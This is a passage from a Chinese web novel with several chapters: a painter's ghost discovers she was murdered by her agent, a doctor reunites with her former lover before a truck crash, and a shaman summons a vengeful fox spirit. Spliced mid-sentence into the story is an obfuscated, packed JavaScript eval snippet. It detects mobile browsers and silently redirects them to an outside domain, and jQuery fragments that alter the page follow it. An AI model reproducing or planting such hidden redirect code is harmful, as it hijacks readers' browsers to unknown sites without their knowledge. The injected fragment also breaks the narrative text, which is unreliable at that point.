昼川的神情有些微妙,“丁年,你这个女孩,很有意思。” 丁年的表情有些凝重,脑海里有什么一闪而过,快的抓不住,“我会再去确定一下死者资料。” “行,你这也是心里有谱了,咱们今天就到这,我得去接老婆孩子了,有什么事再联系。” “好,路上小心。” 返程的路上,虞岁安静的睡在副驾驶,一通电话之后,丁年看着虞岁的侧颜,陷入沉思…… 等虞岁醒来,丁年的车停在她家不远处,默默的看着她,不知道看了多久,虞岁心中一动,轻声开口:“怎么了?” “虞岁,你知道虞念舟么?” “虞念舟?这个名字,很熟悉。” 丁年带着虞岁,重新回到现场的那间画室,他指着那幅只画了轮廓的未完成的油画,“虞念舟……画届最年轻最天赋异禀的画家,又叫……虞岁……” 他沉静的声音在空旷的画室里回荡,像是一颗投入平静湖面的石子,激起层层涟漪。虞岁的身体微微一震,脸上的表情瞬间凝固,她的眼睛死死地盯着那幅画,仿佛被施了定身咒一般,脑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15033546|162368||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 海中像是有一场风暴在肆虐,那些被遗忘的片段开始渐渐浮现…… 半晌,虞岁泪流满面,“原来,我就是你清理现场的死者啊。” 也许是因为没有照片,也许是因为有执念,也许是旁的原因……她自己甚至都不知道死的是自己,她被,困在原地。 故事的开始,是她问,是啊,死的是谁呢? 故事的结局,是她说,原来,死的是我啊。 君生,我亦生。 君生,我已殁。 来的路上,丁年的情绪已经从难以置信过渡到满腔愤懑,再到现在的心痛难忍,他有些难过的看着虞岁,声音里透着一丝颤抖,“虞岁,你,还存在,是因为,执念么?” 虞岁没有接他的话,转而像讲故事一样娓娓诉说起另一件事:“我和我的经纪人相识多年,在漫长岁月里,她不仅是我事业上的得力伙伴,也是生活中的挚友。在我看来,她才华横溢,笔触间满是独特的艺术张力,她的代表作曾让我深深折服。我毫无保留地信任她,事无巨细都会与她商量,她的建议对我而言至关重要,我也无比在乎她在我生命里的存在意义。直到某一天,一些细微的迹象逐渐浮出水面,让我惊觉,在她心底竟藏着对我的恨意。她的言辞、举动,偶尔流露出的情绪,都让我感到陌生。我无法理解,曾经如此亲密的我们,为何会走到这一步。或许连她自己,都难以厘清对我究竟是纯粹的恨,还是在爱恨交织的复杂情感中挣扎。这种认知,如同一把尖锐的刀,刺痛了我的心,也让我对过往的一切产生了怀疑 。” 丁年的喉头像是被什么哽住,有些艰涩的问她:“所以,是她……杀了你?” 虞岁闭了闭眼,“那天,她来画室找我,情绪很激动,我其实不能完全理解她的感受,但我认为,我没有错,我曾把一颗心完整的交付给她,无论最后生疏成什么样子,曾经对她的好,都是真的……后来,她用我最喜欢的一支画笔刺穿了我的心脏。这里,很痛,或许,不仅仅是因为那支画笔……” 原来我早就死了,死在虚假的情谊中,死在冷漠的背刺下,死在破碎的人心里,但现在遇到你我感觉我还活着,活在你的画里,活在你短暂的陪伴里,活在你的记忆里。 丁年这才如梦初醒,目光紧紧锁住虞岁胸口。那团曾被他误以为是石榴花的图案,此刻清晰地展露在他眼前——那是一团触目惊心的破洞,干涸的血渍以洞穿处为中心,如绽放的石榴花般肆意蔓延,无声的诉说着那场悲剧的惨烈。 “虞岁,如果会难过,就不要再想了,都过去了,释怀不是因为原谅别人,是因为想放过自己。” 虞岁重复着他的话,“释怀不是因为原谅,是因为想放过自己?其实事情到了这个地步,恨与不恨已经不重要了,我只是想知道,为什么?为什么选择这样惨烈的方式对我?为什么让我有这么深的执念?为什么……我和她之间,会沦落到这一步呢?” 丁年叹了口气,“你想见见她么?” 虞岁摇了摇头,“不了,死生不复再见。” 丁年看着虞岁变得淡了些的轮廓,思忖着说:“我去见她,你有什么话,我去传达。” 虞岁想了想,“石榴花,曾经是红色的。” “虞岁,这幅没有完成的油画,可以让我画完么?” “你会画油画?” “略懂皮毛,而且轮廓你已经画好了,只是五官的话,我有把握。” 虞岁,我见过你了,也画过你了,就当我拥抱过你了。 丁年,从前她们都在说,爱情是什么?我现在懂了,就是跟别人在一起,我只是那个人的某某,但跟你在一起,我是我自己。 我本已在往昔的岁月中悄然消逝,死于破碎的幻梦,死于凋零的期许,死于无人问津的孤独夜里。 然而,命运的丝线悄然交织,当你的身影映入我的眼眸,仿若枯木逢春,死水微澜。我又仿佛重获新生,活在你温柔的记忆深处,活在你深情的目光所及,活在与你共度的每分每秒里。 虞岁,如果你是鬼,那我以后就不是无神论者了;因为你是鬼,所以我无惧鬼神了。 丁年,听说今生处理后事的人,是来生会嫁的人。 那晚的最后,丁年看着虞岁渐渐消散的身体,泪流满面。 今晚的月色真美,丁年看着虞岁的油画感叹。 “昼川老师,你写的黄泉客栈,真的存在么?真的有鬼神么?” “丁年,你不是不信鬼神之说么?我可记得当初不知道是谁说,是坚定的唯物主义者,共产主义的红色接班人,生在春风里,长在红旗下,这怎么对这事儿感兴趣了。” “因为一个人,我想要相信,并存在;或者说,我希望她存在。” 春日与君初逢,桃花灼灼,映君笑靥,自此吾心便为君所倾。 此后朝朝暮暮,常念君之音容。望与君携手,共赏四季更迭,岁月流转。愿以吾心,护君周全,许君一生,不离不弃 。 虞岁,你听风在吹,我在等你归。 14. 虞岁,我不是逃兵 医院的走廊,消毒水的味道弥漫在每一寸空气里,来来往往的病人家属,神色匆匆的医护人员和面色憔悴的病人沉浸在各自的情绪中。 虞岁刚结束一场漫长且严谨的手术,身上的白大褂还带着手术室里的紧张压抑。 她步履不停,额前的碎发被汗水浸湿,贴在略显疲惫却依旧明艳的脸庞上。 此刻,她的全部心思都放在整理手中那叠厚厚的病历上,每一页纸都承载着生命的厚度和重量。 就在她疾步转弯的瞬间,脚步像是被施了定身咒,猛地顿住。 眼前的景象让她的呼吸骤然一滞,手中的病历险些不受控制地簌簌滑落。 不远处,那个熟悉到即便在黑暗中仅凭轮廓也能辨认的身影,就那样毫无防备地闯入她的视线。 丁年,那个曾在她青春岁月里掀起惊涛骇浪,又在最炽热时决然消失的男人,正坐在轮椅上……他的手臂缠着厚厚的绷带,面色憔悴,眼神有些飘忽空洞,在与她的目光交汇的瞬间起了一丝波澜…… 刹那间,往昔的记忆如汹涌的潮水,冲破时间的堤坝,呼啸着将她淹没。那些年少时的欢笑与心动,那些离别后的思念与痛苦,在这一刻全部涌上心头。 “丁年……”,虞岁的嘴唇微微颤抖,轻声吐出这个名字,声音轻得仿佛一阵风就能吹散,却又重得负载了数年的爱恨纠葛 。 丁年从轮椅上起身,一步一步走向虞岁,每一步都带着过往的少年心事,趟着回忆的漩涡泛起阵阵涟漪…… 年少时的一见钟情总是来的轰轰烈烈,给的毫无保留,收都收不回来。 彼时虞岁是校园里的学霸高智女,丁年只是一个学渣小混混,本该是两条平行线的两个人,因为一场莫名其妙的群架有了交集。 故事可能没什么新意,毕竟大多有关于青春的经历都是外人看起来有些狗血、有些离谱的、没必要多费笔墨的故事。 那个初秋的傍晚,虞岁和丁年分别处于两方阵营,两方敌对的阵营。 虞岁至今都记得那个时候的丁年,眼角眉梢都是意气风发,微凉的晚风吹起,却吹不散他周身那股子肆意劲儿。 他穿着一件黄色的外套,很少见有男生把那么鲜艳的黄色穿出一股风流倜傥的味道。 衣角被风吹得微微扬起,里面的黑色卫衣衬得他肤色愈发白皙,头发蓬松又凌乱,几缕碎发在额前肆意飞舞,像是在无声宣告着他的不羁。 群架一触即发,混乱中,丁年却像是察觉到了什么,猛地转头望向虞岁的方向。 四目相对的瞬间,时间仿若静止,周遭的喧嚣吵闹都被隔绝在外,他望向她的时候,好像全世界只有她存在。 虞岁望着那双满含星辰的眼睛,一时失了神,心中涌起一阵难言的情愫,连她自己都未曾察觉,命运的齿轮已然开始转动…… 待回过神时,丁年已不知何时穿过人群,站在了她的身前,替她挡下了不知从何处飞来的拳头。他微微皱眉,却没有回头,只是低低地说了句:“别怕,有我在。” 虞岁望着他宽厚的背影,心中五味杂陈,那些原本对学渣小混混的刻板印象,在这一刻轰然崩塌 。 自那之后,两人的关系便有了微妙的变化。丁年开始有意无意地出现在虞岁的生活里,或是在她放学路上装作偶遇,或是在她困扰的时候有分寸的出手。 而虞岁,每次看到丁年那故作随意却又藏不住期待的眼神,嘴角总会不自觉地上扬。 别怕,有我在,这五个字,就像一个誓言,贯穿了她和他在一起的整个始终。 外人眼中理智清醒的虞岁,做过最离经叛道的事情应该就是跟丁年私奔了吧。 那时候她不可控的、清醒的沉沦了,陷入了名为丁年的爱情里。 哪怕家里不同意,哪怕所有人都认为她和丁年不合适,但那是她第一次遇见山,自然听不得所谓的好言相劝。 好像每一场年少时偏执的爱情都是越拆越紧,她们甚至迫切的需要一些阻力来证明自己爱的坚定爱的不顾一切。 那句所谓的‘我颠倒了整个世界只为了摆正你的倒影’,虽然历经千帆之后会觉得很疯狂,但经历过的人才懂,这是真的能做出来的事。 愿意为了对方放弃所有的原则,哪怕全世界都反对,也要紧紧握住彼此的手,要的就是‘只要两个人在一起,就拥有了对抗全世界的力量’的那种感觉。 后来虞岁想过,丁年是怎么润物细无声的打动她的呢?大概是凌晨夜雨的街头,狂风肆虐,他跨越了大半个城市,只为给她买一杯她突发奇想一定要喝的热饮; 可能是所有经济来源被切断,而两个人都倔强的不跟任何人低头,挤在没有暖气的小房间,卡里只有几块钱,他去营业大厅取出来,买了一包泡面,她吃面,他喝汤; 可能是他偷偷去地下拳场打黑拳,供她读书,但他绝口不提是为了她,这只是生活。 那一年,丁年绝口不提爱。丁年从不说爱虞岁。 外人理解不了,但在虞岁心里,丁年的爱,永远拿得出手。 丁年怎么可能不爱虞岁呢?他是有六千块也要给虞岁花五千的人,剩下的一千块,他要用来交保险,受益人是虞岁。 这是贫瘠的丁年,能给虞岁的,全部。 时光流转,岁月的洪流也许会将曾经的炽热渐渐冷却。 那些年少时的美好,有的被遗忘在风中,有的成为了心底最柔软的回忆。 但那段偏执的爱情,却如同烙印一般,刻在了灵魂深处。 是无论何时想起,嘴角仍会不自觉地上扬,心中泛起一丝温暖,那份不顾一切的勇气,依然会在心底熠熠生辉。 有时候两个人分开,未必要有大风大浪,未必要有多惨烈,不过是缘来缘聚,缘去缘散,缘尽缘灭。 虞岁永远记得,那年的最后,丁年红着眼眶对她说,“虞岁,我配不上你了,我多想同你一起奔赴璀璨的星河,但我不能自私的把你困在这方永夜之下。” 那个眼睛里有星星的少年,终究被骄阳灼了脸庞,微扬的嘴角点缀了心中的沟壑,眉宇间的隐忍诉说了岁月的洗礼,眼角的不羁定义了对世俗的成论,眸光流转依稀可见心中满是成算。 他留给她一封信: “最初的那一眼,真的会决定一段缘; 我从来没想过,会同你相濡以沫这么多天; 我也没有想过,这份弥足珍贵的情感会磐石般萦系心间; 我更没有想过,会有我为你做幼稚事的这一天。 你可知道,星辰大海不及你灿目耀眼; 你可知道,山清水秀不如你眼角眉间; 你可知道,湖川缥缈不抵你衣袂翩迁。 但我希望你知道,为了最初那一眼那一面那一天,你所思便是我所愿; 我希望你知道,往后余生的每一个你开心的今天,都是我所期盼的明天; 我希望你知道,你平安喜乐康健,是我此生有过最曼妙最真诚的心愿。” 在虞岁的战场里,丁年就是一个溃不成军的逃兵,他跑了。 消失的不留一丝痕迹,一如他从没有出现过一样。 如今,丁年站在她面前,虞岁的心依然会因他的一举一动悸动,毕竟,他是她兵荒马乱的一季青春里唯一的亮点。 “丁年,你不是能跑么?来,再跑一个我看看。” “虞岁,我不是逃兵,不过那时候我一无所有,前路未定,我不能耽误你,你看你现在不是挺好的么?好好地出国,体面的工作。” 虞岁之所以当医生也是因为丁年,那时候他为了赚钱什么都愿意干,常常弄得伤痕累累,而且他相依为命的奶奶,也是因为生病去世的。 “虞教授,下午有个会诊,您还有一个小时的休息时间”,助理阿元追过来提醒虞岁。 “知道了,你先去吃饭,呆会见”,虞岁把手里的病例递过去。 “年哥,钱都交好了,诶?你怎么站起来了?这位是?大嫂?”,大暑疑惑,就缴个费的功夫,这人就从轮椅上站起来了?这是什么医学奇迹?还有这位明艳清冷的美人还挺眼熟,跟他年哥钱包里的旧照片好像是一个人。 丁年给了他个眼神,他也上道,“那什么,你们先聊哈,我去看看外面的太阳晒不晒。” 虞岁深吸一口气,转了转手腕,走近丁年,一把抓住缠着绷带的胳膊,拽着他就走…… 急得还没走远的大暑赶紧追着喊,“嫂子嫂子,年哥这个胳膊可是骨折,您悠着点哈,诶呀年哥,你说句话啊,医生说了慎防移位……” 丁年摇摇头,示意没事。 倒是虞岁冷冷出声,有种平静的疯感,“我认识这方面的泰斗,就算拽断了也能治,如果你年哥喜欢,我还可以找人给他安义肢。” 说是这么说,手上的劲到底还是卸了,丁年的嘴角也是压不住了,看,虞岁还是这么可爱。 大暑一脸没眼看的样子,啧,瞧瞧这副不值钱的样子,合着这就是俩活爹的情趣呗?得,他可还是知趣的看太阳去吧。 虞岁拽着丁年一路上到天台,一把把他扔到栏杆上,解开白大褂的扣子,继续刚才的话题,“你说的对,除了没有你,一切都好。还有一点,不要质疑我的职业,有的是方式让你跑不动。” 丁年看着她,眼底尽是宠溺,“我至今都记得,有人对我说,我对你来说,是个累赘,我要是真的爱你,应该变得更好,让自己,也让你,而不是自以为是的扛下所有,堵住你的路。” “所以呢?我当初就说过了,不要一厢情愿的做一些你觉得为我好的事,你觉得好不算,我觉得好才算。” “虞岁,我的逃避不是丢盔卸甲,是想等你见识过万水千山再来考虑我是不是你想要的那个人。现实不是小说,哪有那么多高光金手指,也不是你想要我我想要你我们就能一直在一起,差距是一直在的,虞岁,你不能否认,时至今日,我们之间的沟壑只是变浅了,却依然存在。” “丁年,是谁说真正的情种只在大富之家?你看看你,搞纯爱一套一套的,从来不问我想要什么!就像我想要一个苹果,你偏要给我一车梨,还要问我为什么不爱你!” 丁年笑了,“情种这个理论也不是全无道理,比如你。虞岁,有时候一朵花没有被摘下,不是因为花不好,是摘下来的时机不对,摘下来也无处安放,真心喜爱这朵花,还是任其恣意绽放的好。” 虞岁都想要给他鼓掌了,她这么想的,也这么做了,“我感觉出国进修的不是我,是你,这么会说,你是要考公么?就算你说的都成立,那你跑什么?我是出国,又不是出殡,你跑什么?我都不知道是该怪我父母出手太狠,还是该怪你不坚定,或者说怪我自己执念太深?” 丁年叹了口气,“两个人在一起,应该是门当户对的价值观和双向奔赴的两颗心,而不是你一个人的定向精准扶贫。所以你的父母,是为你好,你不应该怪他们,你应该怪我,不争气。” “呵,好话歹话都让你说了。” 天台的风吹的丁年的身形愈发萧索, “虞岁,我想要你,又不仅仅是想要你,我还贪心的想要配得上你;想要光明正大的站在你身边,想体面郑重的接受所有的祝福。所以,我要努力。你看,我在努力。” “我看到了,你努力的跑了。” 虞岁觉得,丁年的嘴应该是租来的,今天到期,因为他从来没有这样直白连续的说出他藏在心里的话。 上一段话她都没来得及完全消化,就听他又说:“可能跟别人比我总是差点运气,差点机遇,差一口气,其实不是,是缺一个你,缺一个我为之鼓足干劲儿的动力。因为你在前面,所以我没有退路。这是一个男人的担当,是想做你的男人,我应该有的担当,更是我必须有的觉悟。” “你想的挺美,我是你召之即来挥之即去的人?家里没有镜子还没有马桶么?” “虞岁,你大可以对我保持厌烦,毕竟是我准备对你一直纠缠。” “现在整这出,早干什么去了?” “现在我能负担起你的未来了。之后我也会持续努力。为前路,为结局。” “谢邀,我现在不喜欢人了,我喜欢狗,忠诚,认主,只要我不抛弃 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“您这胳膊能开车带我?” “不能,需要你载我。” 车子停稳,虞岁打量着这家私房菜馆,心下一动,“年年有虞?你的?” 丁年重复一遍,重音落在名字上,“嗯,年年有虞,我的。” “我记得市内有很多家连锁店,都是你的?” “嗯,都是我的。” 最纯爱的那一年,虞岁也是为丁年做过洗手熬汤羹这种事的,然后丁年被鱼刺卡住了,大半夜的两个人手忙脚乱的去医院,后来丁年就害怕吃有刺的鱼,虞岁也不准他吃有刺的鱼。 “虞岁,还记得么?你曾规划过我们的未来,你说想要一个有烟火气的未来,最好是有一家小店,你要做一个从早到晚数钱的老板娘。” “丁年,现在是晚上十点。” “嗯?” “把嘴闭上,专心吃饭,晚上十点之后生理意义上容易心软,有什么话白天再说。” “好,听你的。” “住哪?送你?” 丁年报了一个地址,虞岁有些震惊。“跟我一个小区?” “嗯。” “什么时候开始的?” “两年前。” “我回国的那一年开始?” “嗯,就是你想的那样。” 虞岁还来不及做出反应,突然,一辆大货车疾驶而来,失控的冲向虞岁和丁年的车……千钧一发之际,丁年眼疾手快,没有丝毫犹豫,他猛地扑向虞岁,用自己的身体将她紧紧护住…… 伴随着一声震耳欲聋的巨响,卡车以雷霆万钧之势撞上了他们的车。 丁年的背部承受了绝大部分冲击力,就像是被一堵高速移动的混凝土墙猛撞,肋骨像是脆薄的树枝,数根瞬间折断,尖锐的断端径直刺入肺部,滚烫的鲜血从他口中喷涌而出。 他的头部因惯性狠狠磕在车内前方,额头被划出一道深长的口子,鲜血如注,很快模糊了他的双眼……安全气囊弹出,巨大的冲击力直接导致他手臂白森森的骨头刺破血肉,场面惨不忍睹…… 腿部也被严重变形的车体死死卡住,承受着难以想象的压力,深可见骨,鲜血在重力作用下不断滴落在车座上。 颈部也因这剧烈的甩动严重错位,每一次呼吸都伴随着钻心的疼痛。 神智不清的情况下,丁年仍在下意识呢喃,“岁岁,岁岁……” 虞岁在丁年的庇护下,仅受了些轻微擦伤。她满脸惊恐,泪水夺眶而出,颤抖着双手拨通了消防和医院的电话…… 医院的广播系统播报着:多发伤会诊,请脑外科,胸外科,骨外科,医务部,骨科,至急诊室会诊。 几乎所有医护人员都在同一时间冲向急诊室。 那大货车司机还在焦躁的踱步,嘴里还唯恐天下不乱的吐槽,“这都没死?保险够赔,直接死了划算,这要是不死可麻烦了,怎么就没死呢?早知道就把油门踩到底。” 这会虞岁已经冷静下来,听到这番话,她走过去,恶狠狠的拽住货车司机的领子,满眼肃杀的说:“你他妈给我听着,这把生死局,你最好把你的死嘴给我闭起来!丁年要是有个什么三长两短,他下户口本,你他妈就得给老娘上社会新闻!” 阿元赶忙拉住她,“冷静啊虞老师,救人要紧。” 虞岁松开手,反手把血迹擦在货车司机的衣襟上,话是对阿元说的,眼睛却盯着货车司机:“这种东西,还不值得我动手打他,我这双手贵得很。” 说完,她走到人群中,“医务部,我是家属。他是孤儿,他只有我,我可以签字,另外,我是心外科的,我申请参加会诊。” 负责现场急救协调的护士面露难色,说道:“虞医生,您的情况特殊,按规定……”虞岁没等她说完,语气平静却带着不容反驳的情绪打断道:“我了解规定,但此刻没有比我更熟悉他身体状况的人了。他现在生命垂危,每一秒都珍贵无比,我不能只站在这儿干等。”护士被她的气势震慑,一时语塞,只能将求助的目光投向一旁的急诊科主任。 急诊科主任沉吟片刻,权衡着利弊,最终无奈地点点头:“行吧,但你必须严格遵守会诊流程,不能影响正常的救治秩序。”虞岁用力点头,来不及道谢,便快步朝着急诊室走去。 刚到门口,就碰上了匆匆赶来的心内科专家,教授看到虞岁,微微一怔:“小虞,你……” 虞岁迅速整理好情绪,语气恳切:“教授,丁年是我最重要的人,我想参与会诊,为他争取一线生机。”教授叹了口气,拍了拍她的肩膀:“孩子,节哀,咱们尽力。” 故事的开始,是他站在人群后面保住了她。 故事的结局,是她在鬼门关前把他拉回来。 虞岁,是丁年,足以炫耀一辈子的存在。 丁年,是虞岁,足以依靠一辈子的例外。 15. 丁年,佛不渡你我渡你 叮,迎客铃响起,带动一阵清风。 虞岁停下手中画符的笔,抬头望去,是一个面容憔悴的年轻女孩。 “是……虞师傅么?” “嗯,怎么了?”,虞岁点点头,言简意赅的回答,没有必要过多的寒暄,没有事的缘主也不会来找她,所以直截了当省了很多废话环节。 那女孩慢吞吞的走到虞岁的桌案前坐下,有些局促的拽了拽衣角。 虞岁注意到她走过来这几步是一瘸一拐的。 “师傅,我是朋友推荐我来找您的,我最近……遇到些麻烦,倒霉透了。” “嗯,右手伸出来我看看”,这是虞岁的个人习惯,不等缘主先说,她会从面相和手相的四大主线了解个大概,因为有的人吧,不说实话,或者不就事论事只一味的美化自己。 那女孩有一瞬间的怔忪,一边伸手给虞岁,一边有些怯怯的说:“我还以为您会问我些问题。” 虞岁指了指桌面上的小案枕,示意她把手放上去,“问什么?你这手放在我面前,你的情况在我这基本就是透明的了。” “师傅,你跟我遇到的其他人都不一样。” 虞岁没有说话,打开手机的灯光照着她的手纹仔细的端详。 好半晌,虞岁关掉灯光,几不可察的皱了下眉,“属什么?” “蛇”,又举一反三的报出姓名和八字,“生辰是……名字是高世柒,这个需要写下来么?” “你这个生命线有分叉,三个月内出过事,车马关”,虞岁说着,顺手倒了两杯茶,递了命格本和笔给她。 高世柒满脸惊讶,“是,两个月前,过马路的时候被车撞到了,断了三根肋骨。” “但是你这个腿脚一瘸一拐的,是最近的事,跟你的车马关没关系。” “嗯,腿是最近一周出问题的。” “去医院检查过么?” “查过,做过系统的检查,不过……” “嗯?” 高世柒有些不好意思的笑笑,“没想到您还会问有没有去医院检查过,我之前看的师傅都直接说症结。” 虞岁嗤笑,“是不是还直接给你画符纸让你贴让你戴甚至让你喝了?” “是。” “那你自己都没有判断力么?不觉得离谱么?有病就去看病,不要什么都依赖玄学,医院查过没问题,再来考虑其他因素。” “嗯……所以全部查过没问题,我朋友才推荐我来找您。” 虞岁没有接话,在命格本上写写画画,推了一下高世柒的八字命格和五行命理,良久,淡漠的说:“你找人出过堂。” “我……我没有,我最近就只找您看了。” “跟我撒谎?”,虞岁放下笔,招呼助理,“阿元,送客。” 助理应声,走到高世柒身边,“请吧。” 高世柒有些慌,“师傅,我是洛茄介绍来的,她说您答应过她,会卖她一个人情。” 虞岁皱眉,“卖她的人情也要看这个人情你受不受得起,问你什么你都隐瞒说谎,这事怎么办下去?” 阿元在一旁冷冷补刀,“重点是你隐瞒了她也知道。” “我……我一开始以为洛茄推荐的师傅跟我之前看过的都一样……我……我以为她是……”,高世柒说到后面,声音越来越小。 阿元白了她一眼,“以为她是托儿对么?” 高世柒不敢接话,悄悄的看了眼虞岁的表情。 虞岁脸色未变,干这行久了,都见惯不惯了,毕竟,鸟多了什么林子都有。 虞岁在心里默默想了想自己定下的规矩,「你就是个破术师,不能有个人主观情绪;你就是个破术师,不能共情缘主;你就是个破术师,不能有高人一等优越感;你就是个破术师,不能昧著良心折腰;没有问题的人,天养活,不会找你问;有问题的人,耐心办,救人一命胜造七级浮屠,都是缘法福报。」 “你现在的情况,只有两种可能,要么就是问题不在出堂上,要么就是堂没立明白。” “这……我不懂,我就知道当时找了师傅,写了堂单,然后就告诉我怎么供奉上香。” 虞岁揉了揉眉心,“堂口说立就立了?堂单说写就写了?四梁八柱齐了么?掌堂教主是哪家?老碑王是谁?有过阴鬼王么?能供奉地藏王菩萨么?” 一连串的术语砸的高世柒有些发懵,“没有吧,我也不太清楚,我就知道有一大串名字,写满了整个堂单。” 虞岁叹气,“是不是有胡天元,胡天豹,胡天龙,胡天虎,黄快跑,黄淘气……” “您怎么知道?” 阿元忍不住接话,“最近来的,都差不多这种情况。” 虞岁有些无语的问:“是请下来自己报的名号么?” 高世柒摇了摇头,“没有,一开始就说有保仙,后来又着意添了许多没有的。” 虞岁光是听的都觉得好笑,“没有的,写了,有什么用?” “那个师傅说,即使没有,也可以写上,写了,就会来了。” 阿元跟着给科普:“通常做这种事的都是身后有堂的,给别人立堂的时候,写的那些名字,甚至有很多是查无此仙的,他们会先让自己身后的散仙去他们立堂那家,给点感应,等立成之后,再有问题,就不归他们管了,真金白银到手了,后续有什么问题再去找,也总有一番说辞。” 虞岁冷哼一声:“三清门下好赚钱,有朝一日命来填。” 高世柒苦笑,“当天晚上我就做了个梦,说我那个堂单上有些名字不对,让我改……” 虞岁抿了口茶,“你就改了?” “嗯,醒了我就改了,然后我的腿就这样了,我后来还去找过那个师傅,他说他立的没问题,是我改的问题,他不会负责处理。” 人无语的时候就真的会笑,虞岁有些玩味的看着她,“你那个堂单是什么颜色的?” “黑色的。” 虞岁用盖盏扫了下浮在上面的茶叶,“黑色,是鬼堂单,胡黄蟐蟒都写在鬼堂单上,真的是,作死啊。” 高世柒点点头,“是吧?我也觉得不对劲,所以我就把那个堂单烧了,香炉扔了”,她脸上的表情尽是还好我机灵。 虞岁挑了下眉没有说话,倒是阿元,有些惊讶的问:“就那么水灵灵的给扔了?谁教你这么干的?” “可是这种情况明显我是被骗了,既然是假的,扔了也无伤大雅吧?” “你这个脑回路……” “算了”,虞岁出声打断了阿元的吐槽,“她的问题,也不在于这个上面,跟主要问题比,这个都算小事。去备香吧。” “师傅,我这个问题很严重么?” “现在看来,是仇仙。” “仇仙?是什么?” 虞岁颇为耐心的给她解释,“简单来说,仇仙就是来报仇的精怪散仙,要么是你祖上得罪的,要么,是你,得罪的。而仇仙也分两种,要么,要你命,要么,要你供。” “那我这个?” “你这个有点复杂,等他来了看吧。” “师傅,是要请神么?我都没有准备?” “你准备什么?” “不是要设香案,开道场,过七星关,杀黑鸡么?” 虞岁接过阿元拿来的柱香,冷冷的说:“不要用你那东拼西凑、一知半解背下来的皮毛来挑战我的专业,我这是文堂。” “文堂?是?” 阿元一边准备符纸和朱砂紫墨,一边给她讲解:“通俗来说,文堂多为文将,主打一个文化传承,武堂主要表现为又蹦又跳。” 虞岁站在香案前,左手执香,右手掐诀,着朱砂紫墨于虚空中画符,嘴里念念有词:“香气沉沉应乾坤,燃起清香透天门,金鸟奔走如云箭,玉兔光辉似车轮,南辰北斗满天照,五色彩云闹纷纷,紫薇宫中开圣殿,飞云走马降仙神……言帝语明,乾坤借法,恭请东岳大帝到此见证,与大罗散仙应名,召调人马,急急如律令,显!” 虞岁把手中三柱香插进炉鼎中,只见虚空中那道符红光一闪,袅袅青烟中现出一道银青色的身影……芙蓉旌旗烟雾落,影动倒景摇潇湘。 虞岁见过形形色色的精怪散仙,甚至于还有大罗金仙,但像今天这样的,还是头一遭。 他比正神谪仙多了些烟火中的恣意不羁,又比精怪化形多了几分风华绝代的味道,羽衣常带烟霞色,不惹人间桃李花。 光是个烟雾缭绕中虚虚实实的身影,已经让阿元和高世柒看得有些呆滞。 “小人山,唤本仙来做甚?”,他不像寻常仇仙那样言行举止中都透着戾气,他甚至嘴角噙笑的看向虞岁。 一笑相逢蓬海路,人间风月如尘土。 虞岁神色如常,只微微闪烁的眼眸泄漏了她的情绪,心下暗想,祖师爷莫怪,祖师爷莫怪。 “请仙家报上名号,现有业障,商讨如何解决。” “狐仙,丁年,你,可以叫我丁年。” 高世柒有些激动,大概是没想到原来跟着她的仇仙竟然生的这般仙姿绰约,她有些按捺不住,脱口而出:“丁……” 就见丁年眼中杀意一晃而过,手指微动,一道银光闪过,高世柒剩下的话还来不及说就被尽数堵回去,张了张嘴一个音节都发不出……“她可以这样叫,你不可以,你不配。” 阿元凑到高世柒耳边提点她:“你懂不懂规矩?哪里轮得到你说话?你自己要是能沟通仇仙你还找我家师傅做什么?” “丁年,你不要太放肆”,虞岁有些头疼,感觉这次的仇仙不太好把握。说他没有戾气吧,他还弹指间一副要取人性命的样子;说他有戾气吧,他还会笑,还很上道的报名号。 丁年笑的有些蛊惑的意味,“小人山,你好大的口气,这是跟我说话的态度?” 虞岁暗骂,这什么啊,这狐狸精,整这出,这还不如一言不合就动手呢,“说吧,你想怎么样?” 丁年云淡风轻的反问:“你看不出来么?我想要她的命啊。” “十个仇仙九个半都是奔着要命来的,不然为什么叫仇仙?” 被虞岁这样揶揄,丁年也不见恼怒,“我竟不知现在的人山都这么不谦卑,你的掌堂教主是哪位?” “区区仇仙,还想打探大堂正仙的名讳,你就直说你的来历缘由,我自有公断。” “哟,小人山还有执法堂?” “不才,正是。” “如此,倒是丁年失敬了。” 虞岁微微点头,“嗯,你知道就好,我不怪你,来吧,说出你的故事。” 丁年失笑,“仇仙的故事其实都大同小异,我的故事总结来说也就是一场恩将仇报而已。她们高家祖上曾在我未化形渡雷劫的时候救过我一命,后来到她太奶奶那辈,有些香根缘法在,正赶上我积累功德,曾被她们短暂的供奉……利用过,在一次性命和财运的抉择下,我保住了她太奶奶的命,这是她们当时所求,事后,又生怨怼,于是,数九寒冬的日子,连同茅山妖道,把我封到破庙里……” 虞岁注意到,他说到利用这个词的时候,表情有一闪即逝的落寞,她指了指高世柒,“你把她解开,她好歹也算当事人,该她说话的时候得让她说说想法。” 丁年指尖微动,解了术法,“你倒是好心。” “正常流程罢了”,虞岁横他一眼,又对高世柒说:“到你说话再开口。” 高世柒这次没有再多话,连忙点头。 虞岁抬手,示意丁年继续。 “其实事情到这里,也没必要再往下辈找,只到她太奶奶不得善终结束就可以两清了,但是她太奶奶临终前,留了两道符,一道用来拘我原身,一道用来困我三分法势。” 虞岁若有所思,“困你三分法势倒也好理解,对她子孙下辈运势有所助益,拘你原身干什么?” 丁年语气平淡的像是在说别人的故事,“大概是觉得,好玩吧。从她爷爷奶奶那辈起,到她这辈,每一辈,每逢每月的初一十五月圆之时,都要往我原身上钉一枚魂钉。” 听到这,饶是虞岁平常再喜怒不形于色,也忍不住心头火起!她只觉得有股邪火从心头冲到天灵盖,压了好几次,才堪堪压住! 她深吸了口气,冷眼看向高世柒,“这事,你知不知道?” “不太……清楚。” 虞岁的手重重拍了一下桌面,啪的一声,震的桌上的茶杯小幅度的升起又降落,茶水沿着桌面淌了一地,“你这条命确定不要了,是么?” 